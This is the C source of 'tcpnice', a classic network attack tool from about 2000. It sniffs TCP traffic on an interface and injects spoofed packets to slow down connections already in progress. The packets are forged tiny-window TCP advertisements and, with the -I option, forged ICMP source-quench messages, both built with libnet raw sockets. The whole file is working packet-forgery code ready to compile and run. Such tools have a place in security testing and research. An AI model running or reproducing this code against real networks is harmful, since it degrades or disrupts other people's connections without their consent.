/*
  tcpnice.c

  Slow down TCP connections already in progress.

  this program is a gross hack. feh.

  Copyright (c) 2000 Dug Song <dugsong@monkey.org>
  
  $Id: tcpnice.c,v 1.8 2000/06/14 16:16:02 dugsong Exp $
*/

#include "config.h"

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#ifdef HAVE_ERR_H
#include <err.h>
#endif
#include <libnet.h>
#include <pcap.h>
#include "version.h"

#define MIN_NICE	1
#define MAX_NICE	20
#define DEFAULT_NICE	16

/* Globals. */
int	Opt_nice = DEFAULT_NICE;
int	Opt_icmp = 0;
int	pcap_dl_offset;

void
usage(void)
{
	fprintf(stderr, "Version: " VERSION "\n"
		"Usage: tcpnice [-i interface] [-I] [-n increment] "
		"[expression]\n");
	exit(1);
}

/* Start sniffing on an interface. */
pcap_t *
pcap_init(char *intf, char *filter, int snaplen)
{
	pcap_t *pd;
	u_int net, mask;
	struct bpf_program fcode;
	char ebuf[PCAP_ERRBUF_SIZE];
	
	if ((pd = pcap_open_live(intf, snaplen, 1, 1024, ebuf)) == NULL) {
		warnx("%s", ebuf);
		return (NULL);
	}
	if (pcap_lookupnet(intf, &net, &mask, ebuf) == -1) {
		warnx("%s", ebuf);
		return (NULL);
	}  
	if (pcap_compile(pd, &fcode, filter, 1, mask) < 0) {
		pcap_perror(pd, "pcap_compile");
		return (NULL);
	}
	if (pcap_setfilter(pd, &fcode) == -1) {
		pcap_perror(pd, "pcap_compile");
		return (NULL);
	}
	switch (pcap_datalink(pd)) {
	case DLT_EN10MB:
		pcap_dl_offset = 14;
		break;
	case DLT_IEEE802:
		pcap_dl_offset = 22;
		break;
	case DLT_FDDI:
		pcap_dl_offset = 21;
		break;
#ifdef DLT_LOOP
	case DLT_LOOP:
#endif
	case DLT_NULL:
		pcap_dl_offset = 4;
		break;
	default:
		warnx("unsupported datalink type");
		return (NULL);
	}
	return (pd);
}

/* from tcpdump util.c. */
char *
copy_argv(register char **argv)
{
	char **p, *buf, *src, *dst;
	u_int len = 0;
	
	p = argv;
	if (*p == 0)
		return 0;
	
	while (*p)
		len += strlen(*p++) + 1;
	
	if ((buf = (char *)malloc(len)) == NULL) {
		perror("malloc");
		exit(1);
	}
	p = argv;
	dst = buf;
	while ((src = *p++) != NULL) {
		while ((*dst++ = *src++) != '\0')
			;
		dst[-1] = ' ';
	}
	dst[-1] = '\0';
	
	return buf;
}

void
tcp_nice_loop(pcap_t *pd, int sock)
{
	struct pcap_pkthdr pkthdr;
	struct ip *ip;
	struct tcphdr *tcp;
	struct icmp *icmp;
	u_char *pkt, buf[IP_H + ICMP_ECHO_H + 128];
	int len, nice;
	
	libnet_seed_prand();
	
	nice = 160 / Opt_nice;
	
	for (;;) {
		if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) {
			ip = (struct ip *)(pkt + pcap_dl_offset);
			if (ip->ip_p != IPPROTO_TCP) continue;
			
			tcp = (struct tcphdr *)
				((u_char *)ip + (ip->ip_hl * 4));
			if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST) ||
			    ntohs(tcp->th_win) == nice)
				continue;
			
			if (Opt_icmp) {
				/* Send ICMP source quench. */
				len = (ip->ip_hl * 4) + 8;
				libnet_build_ip(ICMP_ECHO_H + len, 0,
						libnet_get_prand(PRu16),
						0, 64, IPPROTO_ICMP,
						ip->ip_dst.s_addr,
						ip->ip_src.s_addr,
						NULL, 0, buf);
				
				icmp = (struct icmp *)(buf + IP_H);
				icmp->icmp_type = 4;
				icmp->icmp_code = 0;
				memcpy((u_char *)icmp + ICMP_ECHO_H,
				       (u_char *)ip, len);
				
				libnet_do_checksum(buf, IPPROTO_ICMP,
						   ICMP_ECHO_H + len);
				len += (IP_H + ICMP_ECHO_H);
				if (libnet_write_ip(sock, buf, len) != len)
					warn("write");
			}
			
			/* Send tiny window advertisement. */
			ip->ip_hl = 5;
			ip->ip_len = htons(IP_H + TCP_H);
			ip->ip_id = libnet_get_prand(PRu16);
			memcpy(buf, (u_char *)ip, IP_H);
			
			tcp->th_off = 5;
			tcp->th_win = htons(nice);
			memcpy(buf + IP_H, (u_char *)tcp, TCP_H);
			
			libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
			len = IP_H + TCP_H;
			if (libnet_write_ip(sock, buf, len) != len)
				warn("write");
			
			warnx("%s:%d > %s:%d",
			      libnet_host_lookup(ip->ip_src.s_addr, 0),
			      ntohs(tcp->th_sport),
			      libnet_host_lookup(ip->ip_dst.s_addr, 0),
			      ntohs(tcp->th_dport));
		}
	}
}

int
main(int argc, char *argv[])
{
	int c, sock;
	char *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
	pcap_t *pd;
	
	intf = NULL;
	
	while ((c = getopt(argc, argv, "i:n:Ih?V")) != -1) {
		switch (c) {
		case 'i':
			intf = optarg;
			break;
		case 'n':
			Opt_nice = atoi(optarg);
			if (Opt_nice < MIN_NICE || Opt_nice > MAX_NICE)
				usage();
			break;
		case 'I':
			Opt_icmp = 1;
			break;
		default:
			usage();
			break;
		}
	}
	if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
		errx(1, "%s", ebuf);
	
	argc -= optind;
	argv += optind;
	
	if (argc == 0) {
		filter = "tcp[13] & 16 != 0";
	}
	else filter = copy_argv(argv);
	
	if ((pd = pcap_init(intf, filter, 128)) == NULL)
		exit(1);
	
	if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
		err(1, "socket");

	warnx("listening on %s", intf);
	tcp_nice_loop(pd, sock);
	
	/* NOTREACHED */
	
	exit(0);
}

/* 5000. */
